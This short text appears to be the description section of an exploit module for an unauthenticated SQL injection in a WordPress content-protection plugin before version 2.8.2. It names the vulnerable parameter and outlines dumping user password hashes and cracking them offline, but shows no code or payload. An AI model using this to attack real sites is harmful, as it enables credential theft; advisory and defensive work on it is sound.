          Secure Copy Content Protection and Content Locking, a WordPress plugin,
          prior to 2.8.2 is affected by an unauthenticated SQL injection via the
          `sccp_id[]` parameter.

          Remote attackers can exploit this vulnerability to dump usernames and password hashes
          from the`wp_users` table of the affected WordPress installation. These password hashes
          can then be cracked offline using tools such as Hashcat to obtain valid login
          credentials for the affected WordPress installation.
